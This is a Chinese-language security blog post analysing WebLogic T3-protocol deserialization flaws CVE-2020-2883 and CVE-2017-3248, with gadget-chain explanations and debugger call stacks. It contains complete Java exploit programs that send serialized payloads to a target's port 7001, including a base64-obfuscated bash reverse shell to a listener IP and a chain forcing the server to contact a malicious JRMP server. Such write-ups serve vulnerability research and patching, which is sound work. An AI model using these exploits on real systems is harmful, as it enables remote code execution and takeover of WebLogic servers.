Weblogic Analysis Attacked by T3 Protocol From CVE (part 2)

RoboTerh 2022-10-24 09:53:00

前言

这篇是继上篇中的T3协议进行漏洞利用,继续分析Weblogic CVE的有关利用方式和修复手法

环境搭建

同样可以使用上篇中的环境搭建

T3协议的利用

CVE-2020-2883

影响

  • Oracle WebLogic Server 10.3.6.0.0
  • Oracle WebLogic Server 12.1.3.0.0
  • Oracle WebLogic Server 12.2.1.3.0
  • Oracle WebLogic Server 12.2.1.4.0

原理

对于上一个CVE的补丁修复主要是删除掉了LimitFilter#toString方法的调用,防止调用ChainedExtractor#extract方法调用利用链

但是也仅仅修复了LimitFilter类的利用,这个CVE主要是绕过上一个补丁的限制,通过其他的类来调用ChainedExtractor#extract方法形成调用链

这里可以利用MultiExtractor#compare方法利用或者使用的是ExtractorComparator#compare方法进行利用,下面都会分别进行分析

分析

MultiExtractor

首先分析一下MultiExtractor#compare方法的调用方式

根据前面原理的描述,我们关注一下MultiExtractor#compare方法,在MultiExtractor类中并没有compare方法,但是其继承了AbstractCompositeExtractor类,在该类中存在有compare方法的调用

image-20221008222530385.png

继承链为

image-20221008222611909.png

跟进一下AbstractExtractor#compare方法

image-20221008222720397.png

存在this.extract方法的调用,如果我们传入的类是MultiExtractor类,则这里的this代表的是MultiExtractor类,所以跟进一下MultiExtractor#extract方法

image-20221008222901993.png

可以看出来,在这个方法中是存在类似于前面CVE中的ChainedExtractor类的extract方法的功能,通过调用getExtractors方法,获取ValueExtractor对象数组,之后同样通过顺序调用数组中的extract方法进行利用,好吧,第一眼看晃了,还是和ChainedExtractor类有一定的区别,这里不能直接形成利用链,还是需要借助调用ChainedExtractor#extract方法形成利用链

跟进一下getExtractors方法中

image-20221008225654714.png

返回的是抽象类AbstractCompositeExtractorm_aExtractor属性值,同样创建一个ReflectionExtractor利用链反射写入m_aExtractor属性值中去

// 创建第一个Extractor Runtime.getMethod("getRuntime")
ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});
// 第二个Extractor getRuntime.invoke()
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});
// 第三个Extractor invoke(exec, "id")
ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{"bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4zLjM1LzgwMDAgPCYxJw==}|{base64,-d}|{bash,-i}"});

这之后的调用过程在前面已经分析过了,就不再重复了,我们接下来关注怎么样才能够到达MultiExtractor#compare方法的调用

对于任意类的compare方法的调用,熟悉CC链的小伙伴知道在priorityQueue类中是存在有任意compare方法的调用

调用链为

priorityQueue#readObject
    priorityQueue#heapify
        priorityQueue#siftDown
            priorityQueue#siftDownUsingComparator

image-20221008230419396.png

调用了comparator属性的compare方法,所以我们只需要将我们想要调用的存在有compare方法的类反射传入PriorityQueue类的comparator属性中,就能够成功调用任意类的compare方法,所以我们这里就可以,反射传入一个MultiExtractor类对象

就能够调用其compare方法形成利用链

这里有几个在构造POC过程中值得注意的点

  1. 第一个就是在PriorityQueue构造方法中,第二个参数要求是一个Comparator对象实例才能够传入,但是我们需要调用的MultiExtractor类的compare方法,该类是没有实现Comparator接口的,所以我们需要反射将MultiExtractor对象传入comparator属性

image-20221009102232717.png

```java
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add("1");
priorityQueue.add("2");

Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, multiExtractor);
```

  1. 第二个就是在构造中,我模仿了CC链中的Transformer链,为了处理Runtime.class的传入,关注到了ConstantExtractor#extract方法

image-20221009102518483.png

我们如果可以反射将m_oConstant属性设置为Runtime.class,也就能够形成利用链,但是在构造后之后报错了,草率了,没有注意到他没有实现Serializeriable接口

image-20221009102706906.png

这里寻找到了另一种思路

关注到了PriorityQueue#siftDownUsingComparator方法中,在调用compare方法中,传入的是queue属性

image-20221009102947090.png

我们可以反射将其设置为Runtime.class

java Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue"); queueArray[0] = Runtime.class; queueArray[1] = "2";

所以构造出来的最终POC

package pers.weblogic;

import com.supeream.serial.Reflections;
import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.MultiExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883 {
    public static void main(String[] args) throws Exception {
        // 创建第一个Extractor Runtime.getMethod("getRuntime")
        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});
        // 第二个Extractor getRuntime.invoke()
        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});
        // 第三个Extractor invoke(exec, "id")
        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{"bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4zLjM1LzgwMDAgPCYxJw==}|{base64,-d}|{bash,-i}"});
//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});

        ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});
        MultiExtractor multiExtractor = new MultiExtractor();

        Field m_aExtractor = multiExtractor.getClass().getSuperclass().getDeclaredField("m_aExtractor");
        m_aExtractor.setAccessible(true);
        m_aExtractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});

        PriorityQueue priorityQueue = new PriorityQueue();
        priorityQueue.add("1");
        priorityQueue.add("2");

        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue, multiExtractor);

        Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue");
        queueArray[0] = Runtime.class;
        queueArray[1] = "2";

        byte[] serialize = Serializables.serialize(priorityQueue);
        T3ProtocolOperation.send("192.168.153.136", "7001", serialize);
    }
}

image-20221009103436255.png

能够反弹shell

贴个调用链

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
extract:94, MultiExtractor (com.tangosol.util.extractor)
compare:79, AbstractExtractor (com.tangosol.util.extractor)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
ExtractorComparator

除了上面一种利用方式,同样还有着另外一种利用方式

那就是ExtractorComparator#compare的调用,跟进一下看看

image-20221009103859508.png

我们可以从上图中看出该方法能够调用m_extractor属性的extract方法,如果我们这里能够反射将该属性设置为ChainedExtractor类对象,就能够形成利用链

值得注意的是,这里同样是传入的compare方法的参数,即是PriorityQueue类对象的queue属性值,和上面的一样进行处理,反射赋值为Runtime.class就能够利用了

这里不详细分析了,和上面的构造方式类似

package pers.weblogic;

import com.supeream.serial.Reflections;
import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883_2 {
    public static void main(String[] args) throws Exception{
        // 创建第一个Extractor Runtime.getMethod("getRuntime")
        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});
        // 第二个Extractor getRuntime.invoke()
        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});
        // 第三个Extractor invoke(exec, "id")
        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{"bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4zLjM1LzgwMDAgPCYxJw==}|{base64,-d}|{bash,-i}"});
//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});

        ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});

        ExtractorComparator extractorComparator = new ExtractorComparator(chainedExtractor);

        PriorityQueue priorityQueue = new PriorityQueue();
        priorityQueue.add("1");
        priorityQueue.add("2");

        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue, extractorComparator);

        Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, "queue");
        queueArray[0] = Runtime.class;
        queueArray[1] = "2";

        byte[] serialize = Serializables.serialize(priorityQueue);
        T3ProtocolOperation.send("192.168.153.136", "7001", serialize);
    }
}

image-20221009104456334.png

同样能够成功反弹shell

调用栈

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
compare:61, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

T3+JRMP利用

CVE-2017-3248

影响

  • WebLogic 10.3.6.0
  • WebLogic 12.1.3.0
  • WebLogic 12.2.1.0
  • WebLogic 12.2.1.1

原理

在经过第一次的CVE-2015-4582这个通过T3协议发送恶意数据以至于反序列化漏洞的RCE之后,出现了CVE-2016-0638 / CVE-2016-3510这两个黑名单绕过的思路

这次的CVE就是在这之后换了一种思路进行反序列化的利用,即是通过JRMP这个底层协议进行利用的

分析

环境问题

我这里使用的是wls 12.1.3 + JDK 8u121

因为在JDK121开始就存在有JEP的处理了,所以这里编写payload的时候需要使用Bypass JEP 8u121-8u230的方式进行构造

JRMP实现部分

这种利用方式不同于之前的直接通过T3协议发送序列化数据,在wls端接收序列化数据的时候进行反序列化的调用,导致了漏洞的产生即利用,这主要是通过T3协议发送序列化数据,在进行反序列化调用的同时建立了一个JRMP请求,在这个时候我们可以构造一个恶意的JRMP服务端,在接受到wls端的请求的时候,将会返回我们的恶意序列化数据,进而进行了反序列化漏洞的调用

我之前分析过关于8u121的JEP绕过,直接搬运过来

对于JEP RMI的绕过,主要是通过写入一个恶意ip+port,使得另一端能够访问这个恶意JRMP服务,造成的命令执行

我们来分析下为什么能够执行!

首先,我们在Registry registry = LocateRegistry.getRegistry(1099);处打下断点

image-20221012171847293.png

getRegistry方法的调用过程中,前面只是获取了本地ip地址,关键在后面,这里通过Registry_id也就是0,和一个封装了ip和portTCPEndpoint对象,创建了一个LiveRef对象

再然后将其传入了UnicastRef对象的ref属性中

最后通过调用Util.createProxy方法创建了一个RegistryImpl_Stub对象,封装了UnicastRef / LiveRef / TCPEndpoint对象

image-20221012172555403.png

查看一下返回的Stub结构

image-20221012172621110.png

接下来,将会调用得到的Registry_Stub对象的bind方法,进行对象的绑定

即是RegistryImpl_Stub#bind方法中

image-20221012180009655.png

这里的ref属性就是在创建过程中提到的UnicastRef对象,调用其newCall方法,根据对应的ID创建了一个StreamRemoteCall对象并返回

image-20221012180244709.png

之后调用writeObject方法将我们bind的恶意对象传输到Registry

调用了前面得到的StreamRemoteCall远程调用方法,即是this.ref.invoke()方法

image-20221012181901993.png

在这个方法调用了远程调用的executeCall进行调用

来到了服务端Transport#serviceCall方法的调用,获取之前writeObject传入的StreamRemoteCall对象的输入流,中输入流中得到ID,并取出对应的Target对象

之后调用dispatch进行分发

image-20221012182636141.png

来到了UnicastServerRef#dispatch方法

image-20221012182723301.png

调用了oldDispatch方法

下面的,不详细分析了,前面也讲过这个流程

贴个调用链就行了

registryFilter:416, RegistryImpl (sun.rmi.registry)
checkInput:-1, 564742142 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

之后就是进行过滤器的白名单验证

这里也是这个Bypass点的关键点,这里利用的是白名单中的Remote接口,在其实现类中有一个RemoteObject这个抽象类,能够通过白名单

我们知道反序列化具有传递性,是一层一层的进行反序列化的,在序列化RemoteObject的时候,将会调用其readObject方法

image-20221012184704215.png

这里从输入流中调用readObject得到UnicastRef对象

接着调用了readExternal方法

image-20221012200601820.png

跟进

image-20221012200657652.png

在这个方法中调用了LiveRef#read方法从输入流中获取了我们在前面封装的LiveRef对象,跟进一下

image-20221012201134754.png

在该方法中首先从输入流中获取了TCPEndpoint对象,并在后面封装成了一个LiveRef对象

在后面通过调用saveRef方法,

image-20221012201341666.png

incomingRefTable属性中获取var2这个Endpoint对象,如果没有这个Endpoint,将会将这个Endpoint put进入map对象中

看看这个属性

image-20221012201631139.png

这是一个EndpointLiveRef对象列表的映射

在最后将LiverRef对象写入前面new的一个ArrayList中去

在添加进入了Endpoint对象之后,结束了readObject方法的调用

回到了RegistryImpl_Skel#dispatch方法中,执行StreamRemoteCall#releaseInputStream方法

image-20221012202241756.png

跟进一下

image-20221012202302404.png

这里的this.in属性就是ConnectionInputStream,不为空,调用了他的registryRefs方法来进行Ref的注册

image-20221012202509325.png

这里的incomingRefTable是不为空的,因为我们在前面的saveRef方法添加了映射

这里将会迭代的取出属性中的每一对映射,调用DGCClient.registerRefs方法进行注册调用

image-20221012202810992.png

这里通过DGCClient.EndpointEntry.lookup方法进行对应Endpoint的发起连接

如果我们能够控制这里的Endpoint对象的ip and port,就能够对任意的服务发起连接,如果搭建一个恶意的JRMP服务,就能够成功利用

如何控制Endpoint对象后面讲,下面讲的是利用原理

在进行远程连接之后得到的是一个DGCClient$EndpointEntry对象

一直可以来到DGCImpl_Stub#dirty方法中

image-20221012211029940.png

首先获取了一个远程调用对象

之后类似之前的RegistryImpl_Stub中的,调用invoke方法

image-20221012211229476.png

UnicastRef#invoke方法中调用executeCall进行远程调用

image-20221012211847534.png

这里存在有个ConnectionInputStream#readObject的调用

因为RMI是一种局部过滤器,在这里的反序列化调用中是不存在有过滤器限制的,所以能够

所以,我们如果在恶意的服务端在ConnectionInputStream对象中writeObject了一个恶意对象就能够成功反序列化

  1. 找到一个RemoteObject类或其没有重写readObject方法的类,能够控制其内部的RemoteRef类型属性ref为包含恶意端口的UnicastRef对象

因为RemoteObject类是一个抽象类,所以我们需要找到他的实现类

image-20221013155533958.png

我们可以找到RemoteObjectInvocationHandler这个类

在其构造方法中,存在有ref属性的赋值

image-20221013155658942.png

根据前面的分析,我们知道一个UnicastRef对象封装了一个LiveRef对象,我们关注一下LiveRef的构造方法

image-20221013160020623.png

参数一是一个ObjID,RMI间是通过这个来判断调用哪个远程对象的,参数二是一个Endpoint对象,我们传入一个带有恶意服务端的ip和port的TCPEndpoint对象,参数三是一个Boolean类型的形参,判断该Endpoint是否是远程对象

构造

java ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("localhost", 9999); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

之后直接将这个恶意的ref传入RemoteObjectInvocationHandler构造方法中就行了

  1. 对于恶意JRMP服务我们可以直接使用ysoserial项目

image-20221013162531952.png

这里和wls种的利用基本是相同的,不同的点也就只是在反序列化的入口方面,对于RMI反序列化中,是通过bind / lookup等方法的使用来触发反序列化的调用,而对于wls来说,主要是通过发送T3协议数据来触发反序列化调用,原理都是一样的

贴个wls中的调用链

readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect) [2]
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect) [1]
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
defaultReadFields:2231, ObjectInputStream (java.io)
readSerialData:2155, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
POC
package pers.weblogic;

import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class CVE_2017_3248 {
    public Object getObject() {
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.153.1", 9999);
        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);
        Registry registry = (Registry) Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, handler);
        return registry;
    }

    public static void main(String[] args) {
        try {
            byte[] serialize = Serializables.serialize(new CVE_2017_3248().getObject());
            T3ProtocolOperation.send("192.168.153.136", "7001", serialize);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20221022110456592.png

能够成功利用

Ref

https://www.freebuf.com/vuls/229140.html

https://www.anquanke.com/post/id/252531

评论

RoboTerh

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

APT 文章:6 篇
SQL注入 文章:39 篇
逆向安全 文章:70 篇
Ruby安全 文章:2 篇
Python安全 文章:13 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录